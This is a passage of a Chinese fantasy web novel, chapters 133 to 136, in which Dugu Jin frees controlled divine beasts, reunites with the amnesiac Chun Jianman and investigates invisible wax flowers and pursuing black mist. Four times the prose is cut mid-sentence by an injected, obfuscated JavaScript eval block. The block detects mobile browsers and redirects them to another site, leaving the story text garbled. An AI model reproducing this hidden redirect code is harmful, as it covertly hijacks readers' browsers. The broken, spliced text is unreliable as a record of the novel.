“老头!你给我们解开!我倒要看看里面那人究竟是人是鬼!”姚恒不甘心,他的双脚没被扣,这下正用脚踢着老人。 老人身手很矫健,压根跟他年龄不符,轻松化解了姚恒胡乱的踢踹。 “你这样的,进去了又有什么用?不管那是人还是鬼,都能把你吃了。”老人严肃之极,他没空管这群不知天高地厚的小鬼的死活,干脆用粗绳子把人串起来,直接扯出了别馆,找了个一直藏在暗处的同事看管。 “别搞出人命。”他又叮嘱了一句,算是仁至义尽。 “明白。” 老人转头就往别馆里去,他知道这是上面让他保护的人,可这人行动过于诡异,连他都无法察觉对方的气息。 别馆里的地形老人也不熟悉,只能谨慎地往里走。 独孤尽看到有普通人进了别馆,直觉得头疼,这地方平时应该也没这么多人进来,怎么今天来了一波又一波。 秉着多一事不如少一事,独孤尽直接锁定了老人,将他传送进了画里。 清空了别馆,独孤尽这才重新走到了摄像头底下,像是不经意走到的,偷偷摸摸,鬼鬼祟祟。 他装作一副寻找什么的样子,虽然他的演技一直被神兽们吐槽,可这会儿,还真有点儿焦急的意味。 毕竟,神兽们还在攻击天花板,用不了多久,这个别馆恐怕就要被拆了。 神兽们的破坏力可比二哈之类的强多了。 一直盯着监控的某人终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689029|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在监控里见到了他想要的人,眼里迸射出一阵红光,“终于等到了。” 他的机会来了,报仇雪恨的机会来了。 独孤尽明显感觉到自己被一股阴冷潮湿的气息缠住了,这丝丝缕缕的像一张细密的网,要将他整个网住,不让他逃脱。 独孤尽现在不打算轻举妄动,他只是感觉着这网越来越密,心下虽有慌张,但他有底牌,还不至于害怕。 能将他的神兽们都精神控制住,显然这人的能力很强,至于有多强,要一战才能知晓。 独孤尽做好了万全的准备,就等对方踏进别馆。 这一等就是一刻钟,除了想要裹覆他的网已经足够结实之外,其他毫无变化。 这种风平浪静足以将人折磨疯。 可独孤尽不是一般人,他早就经历过在空无一人的冰天雪地的世界独自前行,也早就经历过绝望。 他蛰伏在黑暗之中,任窗外日光落下,只等着那人现身。 对方似乎在小瞧他,根本不打算真正现身,觉得通过远程就能将他控制住。 束缚他的网是在一瞬间收紧的,想要将他割裂,切成血沫! 这些锋利如刃的丝线在收紧往里切的一瞬,独孤尽就瞬移去了隔壁,他可不止能躲回画里,短距离的瞬移他也不在话下。 一击击空,终于惹怒了背后的人。 独孤尽故意躲在暗处,不再现身了,现在该着急的人不是他了,是对方。 对方应该会害怕他逃跑,也应该害怕他再发现什么秘密。 毕竟这么多神兽藏在这,要找起来,其实并不难找,如果神兽全被他救走了,他们就全白费功夫了。 他们赌不起。 独孤尽又几乎处于闭目养神多状态半个小时,终于有活人进入了别馆,且这人身上,有跟他神兽同样的气息。 应该是控制神兽时沾染上了气息,这气息可不是想去就能去的。 况且,这世上应该也没别人有独孤尽这么敏锐了。 自然不会介意,甚至可能都不知道自己身上沾染了这么明显的味道。 即便走在自己的地盘上,对方仍然如履薄冰,毕竟独孤尽现在可是处于暗处的那位。 独孤尽占据了绝对的上风,他倒是不急着出手了,静待猎物落入陷阱。 那人久等都没等到独孤尽一丝一毫的动静,终于忍不住去看藏在地下的那些神兽。 从他刚进来开始,他就听到了神兽攻击的动静。 独孤尽此时此刻不咸不淡对着神兽们重新发出了指令,“现在可以把这人当成你们的主人了。” 即便独孤尽是他们真正的主人,可这些一根筋的战斗系,立马就在脑子里转换了思维,把入侵者当成了主人。 而它们要做的就是,攻击自己的主人。 “啊啊啊——你们怎么会打我?!!”那人根本不知道发生了什么,他用的可是禁术,已经毁了他大半的根基,怎么可能出错?! “住手!给我住手!” 133. 神兽归位 战时激烈万分,独孤尽在一边躲着一些不是战斗系的神兽的攻击,而敌方则聪明反被聪明误,自食其果,节节败退。 独孤尽没浪费多少时间就把对方磨得受不了了,可这术法毕竟不是他下的,只能等对方自己解除。 奈何对方似乎没想过会反噬,一时间竟分身乏术,没法解除这术法。 独孤尽见状,还迎上去帮着分散了些火力,这般神不知鬼不觉,才让对方有机会用出了术法,将那一根根极细的控制神兽的丝线抽了出来。 可他没安好心,留了两只没抽,只是趁着自己没再被攻击了,做了个手势,让神兽停止了攻击。 这样,混在那些已经恢复了的神兽中,他可以神不知鬼不觉再次进行刺杀。 独孤尽在一旁把他的小心思看了个全乎,等他假装自己已经解了术法在那休息的空档,独孤尽一把揪住他的衣领,扼住了他的咽喉。 “我劝你最好不好耍小聪明。”独孤尽一点都不介意直接让他丧命。 他看了一眼监控摄像头,对着那边勾唇笑了下。 “把后手给我解了。”他冷淡地开口。 “没……”对方仍旧想狡辩,不肯罢休。 “我猜,施术人死了,这术法也就失效了吧?” 这是自然,这种操控类的术法不外如是。 那人没想到独孤尽看起来清清秀秀一个男孩子,怎么就是个法外狂徒。 “我,我解,我解……”他勾了勾手指,终于,最后两根丝线也被他收了回来。 “你还真挺笨的,后手解了留着你不就更没用了吗?”独孤尽讽刺了一句,不过他本就没杀对方的意思,他即便有这心,他的满哥也不会同意,他可不会做让他满哥不满意的事。 “你?!”对方吓了一大跳,正在又惊又惧又懊悔就见独孤尽松开了手,竟不管他了。 “还看着我干嘛?想我杀你?”半晌,独孤尽都觉得背后被人盯着,实在无法,只能又点了他一句。 他还等着对方逃回去报信呢,这样,他才能追踪他们的老巢。 只不过……幕后黑手可能不会放过他。 他还得想办法救一救他的命。 独孤尽想到此处,又朝他走近,手压在他肩膀上按了按,像是在给他施压,实际上是给他加了一层防御。 这防御层还是独孤尽在躲避神兽攻击时突然领悟的,是从治愈术中分解出来的一种。 “总不能在等着我送你回去吧?” “你!你不杀我,就要做好我们对付你的准备!”对方人还怪好的,反复提醒独孤尽。 “你这个狠话放的很不到位,回去再学学吧。”独孤尽嗤笑了一声,扭头朝恢复正常的神兽们招了招手。 “还愣着干什么,想在这里过年?” “主……主人……我们……”神兽们都有点儿不知道该怎么面对独孤尽。 它们破戒了,做了很多错事,它们……对普通人动手了…… 攻击主人其实算不得什么,它们的戒律中没这条,可对普通人动手确实大忌,而且在普通人面前显形也是大忌,它们都犯了…… 处罚是少不了的了,也不知道主人还能不能原谅它们……在它们接受完处罚之后……还能不能回到画里。 先前整日被封印在画里的时候,日日想要出来,来人间玩,想着去祸害那些凡人。 有的时候,只是想一想,现个原形就能把普通人吓得魂不守舍就觉得好玩,可现在……真被人控制了,去做了这些事……看到人们惊恐的眼神,畏惧的反应,反倒不好玩了,还有点难受。 当然……最主要的是,主人的惩罚…… 它们当真怕惩罚。 这也就是它们虽然一直想去人间为非作歹,但是一而再再而三拖延的原因,谁也不想受到严厉的惩罚。 独孤尽虽然想要既往不咎,但律条写在那,他必须遵守,否则那就是空话,他再也别想约束这些神兽了。 “怎么?怕惩罚就不敢跟我回去了?”独孤尽冷冷地扫视了一众神兽。 “现在自觉跟着我还能从宽处理,否则被我抓回去就另说了。”独孤尽又看了一眼还没走远的敌方。 这个玄门走得真慢,难不成还要看他们怎么回家不成? 既然要看,那他就给敌方一点震撼。 独孤尽没等神兽们再说什么,直接挥了挥手,将所有神兽都锁定,下一秒,将它们全丢回了画里。 这无论是在监控面前还是眼前这个敌人面前,都是凭空消失的。 这种术法已经超出了他们的想象,若有人能用这样的神术,那何愁天下不入他手? 他们甚至想不通,这样的人,怎么会如此不显山露水。 独孤尽轻蔑地看了摄像头一眼,这般墨迹,他只能先走一步了。 没再管这个走都走得磨磨唧唧的敌人,独孤尽直接出了林桥别馆。 出了林桥别馆,对方就不方便监控他了,因为……他会避开监控。 而且,他现在的能力,足够他为所欲为了。 他记住了那人的气息,只要那人到达了敌方老巢,他就要直捣黄龙将对方覆灭。 现在,他轻而易举锁定了陆烨修的位置,直接瞬移到了他身边。 “走吧。” “你……”陆烨修虽然被独孤尽带着瞬移过了一回,可对于独孤尽的这个神技还是觉得匪夷所思,激动万分。 “你能不能把这招教给我?”陆烨修想了想,“我能把我家传的一些术法传授给你。” “这招……晚点你看看能不能领悟吧。”独孤尽想的是让陆烨修回了画里,看看他能不能自行领悟,毕竟……他没教过别人,只教过春渐满。 而他的满哥特别聪敏,他只是说了那么似是而非的几句话,他的满哥就领悟了,会了。 这算是他教的吗? 好像不算。 “我一定能领悟!”陆烨修彻底激动了,试问,谁不想学会瞬移?! 往小了说,会这招,想去哪里都能直接去了,往大了说,会了这招,谁还能威胁到他? 甚至……取人性命也不在话下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689030|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 陆烨修刚冒出这个念头,他身上就隐隐有黑雾缠绕了上来。 “你在想什么?!”独孤尽立马喝止陆烨修。 “如果你心思不纯,恐怕学不会这招。” “我……我还是不学了,万一我被人利用了,到时候要和兄弟你自相残杀怎么办?”陆烨修也惊觉自己刚才就那么想了一下,黑雾就缠上来了,这还得了? 如果没有控制它的能力,他宁愿不要,否则害人害己。 “这边暂时不会有什么变化,你要跟我走吗?还是留在这边?”独孤尽让陆烨修自行选择,无论是留在此处还是跟他走,都行。 “黑雾还在,我留在这吧。”出乎独孤尽意料,陆烨修竟没选择跟他走。 “也好,这边有你盯着总好过没人管。”独孤尽看了眼昏暗的天色,他真怕自己回去那个冰天雪地的世界不适应。 独孤尽不知道的是,冰天雪地的世界里,已经空无一人了,他已经离开足有八天,耳鼠久等不见独孤尽回来,已经遵从了他的意思,去旅店找了神兽们包括春渐满,一同到了花海处,想要通过此处抵达“真实”的世界。 但这花海不知道是不是只有独孤尽能通过,他们下去后,竟然回到了画里,从画里再次出来,重新找到花海,又一次尝试,还是回到了画里。 后来,听了春渐满的建议,索性就在画里等着他们的王回来。 “春老师,已经八天了,主人还没回来,我们以后……该怎么办?”耳鼠异常焦虑,它能治愈别人的精神问题,可治不了自己。 那毛茸茸的尾巴都晃出残影了。 春渐满看着眼烦,一把抓住了耳鼠乱晃的尾巴,“别急,再等等。” “而且,这里被他建造得和你们口中的真实世界无异,那就暂且在这里生活。”春渐满在独孤尽不在的时间里,已经安排了这里的人各司其职。 他好像特别擅长做这方面的活计,就像是刻在灵魂里了一样,信手捏来。 “春老师,我……我还想去……”耳鼠不死心,说不定有一次能过去呢? “听话,再等等,难道你不信他?”春渐满耐着性子,“既然他是你们的主人,那就该有这个能力不让你们担心。” 没等他继续安抚,画里就凭空又多出了一位老者,这位老者面上都是震惊。 他的出现极大程度上安抚了大家的焦躁,如果他不是从花海里掉过来的,那就说明,独孤尽没事,一定是他把人转移过来的。 大家都安心了不少,只要主人没事,被别的事耽搁了也没什么。 刚松了口气,画里就一瞬间多出了大片的神兽。 “葱聋!合窳!猲狙!” 耳鼠惊喜地一个个喊着,神兽们都回来了…… 主人,主人呢?! 春渐满的眼里也露出了几分期待,他似乎也在期盼着这个人回来。 “耳鼠,主人他还有点事,也快回来了,我……我们完了,要被大大惩罚了,怎么办啊?”其他神兽可没耳鼠这么激动,它们垂头耷耳,可怜兮兮。 134. 让我抱抱 “惩罚?”耳鼠真没明白神兽们在焦虑什么。 “我们什么都没做错,为什么要大大惩罚?” “耳鼠,你应该不用受惩罚,我们被抓走后,对人类下手了……”虽然极大程度上不是它们自愿的,但是也是对人类下手了。 而且……有些也确实是它们自己动的手,最主要的是,它们在很多人类面前现了原形,吓到了很多人。 “主人很生气……” “你们闹出人命了?”耳鼠抓了抓自己的耳朵,它也有点紧张了。 “没……这倒是没,不过有没有人因为惊吓丧命我们也不知道。” “那就没事,受点惩罚总好过回不来。”耳鼠安抚了两句,直接让自己的精神治愈术覆盖在每个回来的神兽身上,希望能减轻一些焦虑。 毕竟……焦虑容易生黑雾。 现在的画里可不是属于它们的世界了,里面有太多人类,它不仅要管着人类,不让人类太过消极,生出黑雾,还要让神兽们别和人类相撞。 不过……被转移到画里的人类已经不是寻常人类了,他们见到了太多不该见的,有的时候对于神异之事已经习以为常了。 “放心吧,趁主人还没回来,你们做做准备。”耳鼠又安慰了两句,看了一眼全都回来了的神兽们,跟应龙对视了一眼。 应龙现在管那些凡人管得有点儿不耐,他们适应得挺快,但负面情绪却很多,它也不明白人类怎么能够一边消极一边积极,真是矛盾的生物。 “耳鼠,我们应该也要受惩罚。”九尾狐摇曳着身姿走到耳鼠旁,将它直接抱在怀里,“只能期盼你能多安抚一下我了呀。” “怎么连你也怕起来了,你不是和你的阿尽关系最好了吗?我们都得喊他主人,可只有你能直接叫他名字。”耳鼠实在不解,它先前跟主人也不怎么熟,可这次主人救了它之后,它忽然就什么都不怕了。 主人那么好的人,即便惩罚它们,也不会让它们太难过。 神兽们的顾虑是有必要的,而耳鼠过于天真,它丝毫没意识到触犯戒律有多严重。 独孤尽在那边跟陆烨修交代完事情后,就直接锁定了先前的世界,可那冰天雪地的世界里竟然已经无了任何气息,他大面积扫掠了一番,最后选择回画里。 这次,他瞬移回去倒是格外顺利,迎接他的还是熟悉的一众神兽的臣服。 只不过,这回春渐满站在旁边颇有存在感。 “满哥?!你也过来了?!”独孤尽自然乐得见到春渐满,这么说……耳鼠它们是不是也过来了?! 独孤尽这才看向神兽们,果不其然在里面找到了耳鼠它们的身影,独孤尽朝着它们招了招手。 “怎么回事?不是说去‘真实’世界找我吗?”独孤尽约莫可以猜出来,他一定超过了约定的时间。 “主人,我们没办法通过花海去‘真实’世界,从那里,我们直接回到了画里……”耳鼠说到这里还是不免低下了头,“我……我们试了好多次,都过不去……” “辛苦了……”独孤尽打断耳鼠,伸手抚上了耳鼠的脑袋,轻轻揉了揉。 “去吧,去跟它们一起休息吧,都累了。”独孤尽发号施令。 “那……那惩罚?”耳鼠代大家把疑惑问了出来。 春渐满也在这听大家焦虑半天惩罚了,他也在等独孤尽表态。 “惩罚和休息不冲突,可以休息好了再惩罚,不急于一时,难不成你们还要为了惩罚再逃一次?!”独孤尽提高了音量,他的声音格外威严,沉重地压在每个神兽心头。 “看不出来,你还挺民主的。”春渐满意外地看了独孤尽一眼。 “满哥,快过来,让我抱抱。”独孤尽张开了手臂,想要抱一下春渐满撒个娇,可春渐满的双脚就像是定在了原地,根本不朝他靠近。 独孤尽无法,只能一步一步慢慢朝春渐满那边走过去,生怕走快了把人吓跑。 可即便他已经走到了春渐满面前,春渐满也没让他抱,而是横了一臂,阻隔在两人之间,“你要干什么?我们还是敌对关系。” “我们是敌对关系吗?谁说的?”独孤尽无辜地指指自己又看看春渐满,“我们要是敌对关系,能这么友好地在这说话吗?” “你见过哪个敌对关系是这么相处的?” “……”春渐满一时间被噎的没话说,好像是没什么敌对方这么相处的。 “那你也没给我带汽水。”思来想去,春渐满只找到了这么一点来拒绝独孤尽。 “……”独孤尽沉默了一瞬,手掌翻转,直接变了一瓶汽水出来,“汽水。” “你……你从哪里拿出来的?!”失去记忆的春渐满根本不记得独孤尽在画里能做到任何他想做的。 无论他想喝什么味道的汽水,都能给他变出来。 “现在可以抱抱你了吗?” 春渐满没想到独孤尽这么执着于此,而且也不知道为什么自己内心总也在渴望,想要跟他拥抱。 这点让他匪夷所思,可他不想再拒绝了。 有时候,顺应内心也不错? 看出春渐满松动,独孤尽又主动往前一步,将人拥入怀中,他的脑袋埋在春渐满颈间,双眸微阖。 这一刻,他什么都不愿想。 尽情放纵着自己。 可这个拥抱没能持续太久,春渐满觉得脖颈处被温热的呼吸惹得痒痒的,很不习惯,非常冷漠无情地推开了独孤尽,“抱够了吗?” “没。”独孤尽摇了摇头,神情还有点儿呆愣,想不明白自己怎么就被推开了。 过了好一会儿,他才想起来自己身在何处,他的满哥还没恢复记忆。 “满哥,你跟我过来。”独孤尽没再管其它神兽,他握住春渐满的手腕,将他带回自己的堡垒。 “你有没有一点熟悉?” “可能……有一点?”春渐满也不确定,他觉得哪里都熟悉,但要往深里想,又什么都想不起来。 “满哥你坐下。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689031|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独孤尽并没有灰心,他要用他见长的治愈术给他的满哥治疗一下。 “你……要干什么?”春渐满突然有点紧张兮兮,他自从见到独孤尽就觉得他格外奇怪。 所有的行为,都很奇怪。 尤其是现在的。 “坐好,我看看能不能恢复你的记忆。”独孤尽按着春渐满的肩膀让他坐在了沙发上。 随后没等春渐满重新站起来,他就让自己的治愈术覆盖了春渐满整个人。 一瞬间春渐满像是个发光体一样,亮闪闪的。 春渐满觉得身上被一片暖融融覆盖,别提有多舒服了,舒服得他缓缓靠在了沙发上,逐渐闭上了眼睛。 呼吸也慢慢均匀起来。 他……睡着了。 独孤尽一直治愈了许久,觉得春渐满健康得不能再健康了,才把治愈术取消了,看见的就是熟睡的春渐满。 那毫无防备的样子是他的满哥无疑,谁也不可能假冒的。 春渐满这一觉睡得很沉,他仿佛做了很多梦,梦到了很多,他变成人类后发生的一切,包括认识独孤尽后发生的一切。 只是梦太长太长,等他醒来时,又什么都记不起了。 独孤尽因模拟了现实世界,原本没有白天黑夜的画里也变得有白天也有黑夜了,这会儿天都亮了,春渐满也觉得有些饿,他发现自己身上有一条薄薄的毯子,不用想他都知道是谁给他披上的。 只不过……这个给他披毯子的人呢? 去哪儿了? 春渐满在屋里转了一圈都没见到独孤尽,他又实在不想去上面的楼层找人,这楼看起来太恐怖,不知道顶层在哪,不知道一共有多少层。 “满哥是在找我吗?”独孤尽悄无声息地出现在春渐满身后,着实把春渐满吓了一跳,攻击姿态都摆出来了。 “别,别打,是我是我,我的错,不该吓你。”独孤尽立马举高手投降。 “去吃点吗?我做了早餐。”独孤尽才不会说,这早操也是他变出来的,还都是春渐满爱吃的。 只不过,他也不知道合不合现在的春渐满的口味。 显然,失去了记忆,喜好也是不会变的,春渐满还是很满意这些食物。 “今天没汽水了,汽水要少喝,对身体不好,不过……你的真身是……不行,那也对身体不好。”独孤尽猜测春渐满的真身是树木类,不管是不是人类,喝太多汽水都是不好的。 春渐满那双亮晶晶的眼睛立马暗淡下去,“不喝就不喝。” “满哥,我找到‘真实’的世界在哪了,不过好像只有我能过去,我想的是,晚点再试试我是不是能自由定位直接过去,如果可以,那我也能把人带回去。”独孤尽吃掉煎蛋,“不过那边还很危险,得彻底铲除了危险,才能把大家弄过去。” “我跟你一起去。”春渐满现在对他所见所闻都充满了不信任感,如果有一个世界他看到的和别人看到的都一样,那是不是说明,那个世界真的是“真实”的? 135. 荧幕旁的蜡花 独孤尽暂且忘了烦扰,在画里好好休整了一番才准备再次动身。 期间他安排好了画里的各项事宜,还在人类面前亮了个相,尽量减少了大家的恐惧。 虽然最初的时候他确实是想偷梁换柱,神不知鬼不觉让大家觉得这边就是真实的世界,可这边的世界也会产生黑雾,可见根源不断绝,这黑雾就无孔不入。 春渐满跟独孤尽相处了几天,对独孤尽的戒心也放下了许多,不会动不动就想动手了。 当然,要汽水的时候除外。 “你是真想跟我去那边的世界办事?不是想去那边的世界找汽水?”独孤尽非常怀疑春渐满的意图。 如果是以前的满哥,他根本不用担心这点,毕竟那时候的满哥多大公无私啊,只有他求着他休息的时候,而且,那时候的他也是一条咸鱼,还得他满哥来督促他。 可现在,这个满哥就跟小孩子似的,毕竟他失去了做人类的记忆,像个孩子也能理解,有时候也怪可爱的,但有时候就有点儿…… 独孤尽看着盯着大厦投屏就不动了的春渐满,暗自叹了口气。 “满哥……” “嘘——”春渐满警惕地环顾四周,“那边不对劲。” “怎么不对劲?”独孤尽顺着春渐满的方向看到的仍旧是那面大屏幕,上面滚动的也是一些常见的时尚广告。 “还记得吗?我跟你们看到的世界不一样,但是我来到这边后,看到的东西和你看到的是一样的。”春渐满放低了声音,他扬起下颚指了指那个投屏,“那边不一样,有很多花。” “花?”独孤尽还真惊了,那大屏幕光秃秃的焊在大楼上,旁边连根枝条都没,哪儿来的花。 “是不知名的花,我认识所有的植物,却不认识它。”春渐满对此也很震惊,这世界上竟然还有连他也不认识的花。 他对所有的植物都有天然的亲近感,即便有些忘了名,也绝对是见过的,可这花他却从未见过。 “可我这边也未见到冰雪。”独孤尽对这种变化也摸不着头脑。 “肯定有问题。”春渐满主动扣住了独孤尽的手腕,“进去看看。” 独孤尽原本打算直捣黄龙,毕竟他在那人身上做了标记,现在完全可以直接过去,但既然春渐满提出了其它建议,那就先进商场看看。 商场里基本上都恢复了正常,如果这个世界以后都会是这种暴躁的样子,那人类除了适应它就是适应它,而人类又是最容易适应环境的生物之一,能在这么短的时间内恢复正常倒是也不奇怪了。 “人挺少。”独孤尽和春渐满从商场一楼开始往楼上逛,甚至走到窗边近距离去看大屏幕。 在这里,春渐满都能直接摘到那花儿了。 他把花捻在手里吹了吹,花没动,花瓣也没掉,韧性很足。 “这……好像不是真花。”春渐满立刻给出了答案,“没有一点生机。” 独孤尽看不见,他把手跟春渐满的交握才能勉强看到那手上的花。 “看起来……像蜡做的……”这种手感,如果能够找到东西加热。 独孤尽摸了摸口袋,甚至连包烟都没有,只能往找了个在一边坐着的男人,“哥们,烟瘾犯了,买根烟借个火成吗?” 独孤尽从未干过如此尴尬的事,对方也是一愣,但因为之前被黑雾摧残过,他的脾气倒是平和了很多,“不用给钱了,给你一根抽着吧。” “对了,出去抽,这里禁烟。”男人指了指商场里的禁烟标志。 “谢了哥们。”独孤尽点了点头,接了烟,对着火吸了一口点燃后就赶紧往商场外走。 一直出了商场,他才重新握住春渐满的手,把那烟对准了花。 没一会儿,花就融化了。 果然……是蜡做的。 实在让人摸不着头脑,如果是幕后黑手做的,他们在商场荧幕上放这么多让人看不见的蜡烛花有什么用? 独孤尽突然想起了什么,眼睛亮了一瞬,“我问个人。” 这回独孤尽带手机了,他一通电话拨给了陆烨修。 陆烨修毕竟是玄门中人,虽然他之前的人生都没有接触过这些,但自从他开始接触,就废寝忘食,恐怕有些玄门秘术他都有涉猎,只不过没修练而已。 “兄弟,你有话要快点说,我现在正在危急情况。”陆烨修看到电话第一时间就接了起来,他急匆匆说完,声音里还有喘息。 “你在哪?”独孤尽刚问完,就放出了自己的感知力,感受到了陆烨修的位置,离他挺远的,而且在飞快移动。 “我正被人追杀呢,现在在逃,有什么事?”尽管在逃,可陆烨修还是没丢下独孤尽不管。 “玄门中,有什么术法要用到蜡烛吗?”独孤尽没再问其它,生怕再多说两句,陆烨修就分神被人追上了。 “蜡烛……那多了去了,什么样的蜡烛,摆成了什么样?”陆烨修略一思考,脑海里就出现了很多需要蜡烛的术法。 “不是普通的蜡烛,是雕成了花形态的蜡烛,没点燃,放在……放在高处,摆成了……”独孤尽没见过具体的形态,只能看向春渐满。 春渐满立马接上话,“摆成了一个矩形花阵。” “矩形花阵……我好像有点儿印象……我想想……”陆烨修沉吟片刻,电话那头的信号突然变差,一阵刺啦作响后,电话直接断了。 独孤尽看着挂断的电话,重新又拨了过去,这下直接打不通了,全都是“您拨打的电话不在服务区”。 “陆烨修这小子人跑哪去了?”独孤尽又感知了一下,他应该乘坐着快速移动的交通工具,这个速度……可能是高铁。 高铁上就不太适合直接瞬移过去了,上面到处都是监控。 “等会儿我们去找个人,这东西出现在这肯定有问题。”独孤尽把手里那根烟掐灭。 “你把这个蜡烛花包起来,别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689032|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丢了。”独孤尽拿了张纸巾递给春渐满。 春渐满把已经不成样的蜡花包好,又把另外一朵没被火祸害的花也包好,放进口袋。 “去哪?”他眼里有一丝不耐,就在听到刚刚那人声音的时候,不过,他下意识掩饰了。 但这掩饰没用,黑雾直接暴露了他。 “满哥,你怎么了?心情不好?别担心,就算蜡花真的有问题,也没什么我们解决不了的。”独孤尽不知道春渐满为什么突然又被黑雾缠绕,但他真的很怕看到黑雾。 这黑雾要是再把他满哥的记忆夺走了怎么办,好不容易才又重新认识,建立起了彼此信任的关系。 “没事,走吧。”春渐满不想跟独孤尽诉说他奇怪的感受,他也确实不知道自己该从何说起。 “我看看……”独孤尽继续感受陆烨修的位置,好一会儿才发现他终于停止了快速移动,找到了定位,他几乎没有犹豫,揽住了春渐满的腰,直接瞬移到了陆烨修所在的地方。 “你……这什么情况?!”独孤尽被迎面而来的冷风吹了一脸,这边竟然已经下了雪,地下是他熟悉的冰。 他现在看到冰都应激了,如果可以,他这辈子都不想看到冰天雪地的场景了。 陆烨修不知道独孤尽经历过什么,他现在看到独孤尽突然出现也不惊讶了,只不过春渐满的出现还是让他愣了愣,“你们,又一起了?” “什么?”独孤尽没听清,他抬手挥退了迎面而来的一阵风雪,“你现在这是在哪?躲谁呢?” “我在北边,我也不清楚这是哪,一时间解释不清,我长话短说,他们不知道怎么查到了我,直接找我开涮了。”陆烨修焦头烂额,他确实研究了一段时间玄学,但是他的术法还很皮毛,很多精深的东西都不会,家里也没人教他,他自然没办法领悟。 虽然他研究了不少克制黑雾的办法,但当那扑面而来的浓厚的黑雾开始使劲追着他,他也真的没辙了。 “追我的不是别人,是那个黑雾,但我怀疑黑雾里有人,不然它不能像长了眼睛一样,就追着我跑啊!”陆烨修说完双眼睁大,指着后面,“又来了!” 独孤尽和春渐满顺着他指的方向看过去,什么也没看到,但独孤尽感知到了。 “你能看到吗?”独孤尽问了春渐满,春渐满只是摇头。 “那这个就只有陆烨修能看到,跟只有你能看到的蜡花一样。”独孤尽突然有种自己被排除在外的孤寂感,但现在没空让他感慨,他左手牵着春渐满,右手抓小鸡一样抓着陆烨修的衣领,直接瞬移去了相隔千里的地方。 “你看看,它还有追过来吗?”独孤尽放下陆烨修,陆烨修惊魂未定,他张了几次嘴才说出话,“你区别对待!” “别废话了,快看!”独孤尽没好气地去看春渐满有没有事。 “不行!又来了!”陆烨修胡乱看了一圈,一开始还什么都没有,下一秒那黑雾就突然出现。 136. 逆天改命 这黑雾既然他看不见,满哥也看不见,那就说明,是冲着陆烨修一个人去的,且很有可能是陆烨修的心魔成形具现化出来了。 独孤尽有了大致的猜测,也不再带着陆烨修瞬移了。 “你听我说,你恐惧黑雾吗?”独孤尽尽量让自己的语气听起来平平,没有波澜。 毕竟,现在他不能自乱阵脚,得稳定住,才能影响旁人。 “那不是废话吗?!肯定怕啊!你是没看到,它有那么大那么浓像怪物一样!”陆烨修胡乱张着双手比划,但只比划了一半,那东西就朝他过来了! “别打扰我躲它了!太恐怖了太恐怖了!” 陆烨修从裤兜里掏出不少他之前就制作好的纸人,放出去抵挡了几下黑雾。 可黑雾对它们造不成影响,它们也不能阻拦黑雾的进攻。 “你这么怕,黑雾伤害过你吗?”独孤尽咂摸出点味道了,他上前抓住陆烨修的手臂。 “没,可它明显要伤害我啊!”陆烨修紧张地开始挣扎,可独孤尽抓得很牢,根本没给他逃跑的机会。 “听话,正面迎上去。”独孤尽就差把陆烨修直接朝黑雾推过去了,奈何他看不到黑雾,怕推错了地方。 “啊啊啊!兄弟!你别开我玩笑!别逗我了!”陆烨修拼命掰着独孤尽的手,可他怎么掰都掰不开,独孤尽的手就像铁钳一样死死控制着他。 他只能眼睁睁看着黑雾越来越近,越来越巨大,越来越浓烈。 “哇啊啊啊——”一阵兵荒马乱后,尖叫声刺痛了独孤尽的耳膜。 过了好一会儿,陆烨修发现自己身上并无疼痛后,终于慢慢睁开了他紧闭的眼睛。 “哇啊啊啊——”他面前一片漆黑,其它什么都看不见了。 “怎么了?疼?”独孤尽也不知道陆烨修究竟如何了,只不过他的感知是,陆烨修并没受到伤害。 “没有,疼倒是不疼,就是……我看不见东西了。”陆烨修眨巴了两下眼睛,眼前仍旧漆黑一片。 “有没有奇怪的气味?” “没……没……”陆烨修摇摇头。 “我明白了。”独孤尽松开了钳制陆烨修的手,拍了拍他的肩膀,“黑雾应该把你吞噬了,把你包裹在它里面,所以你看不见了。” “不过,我有办法驱散它。” 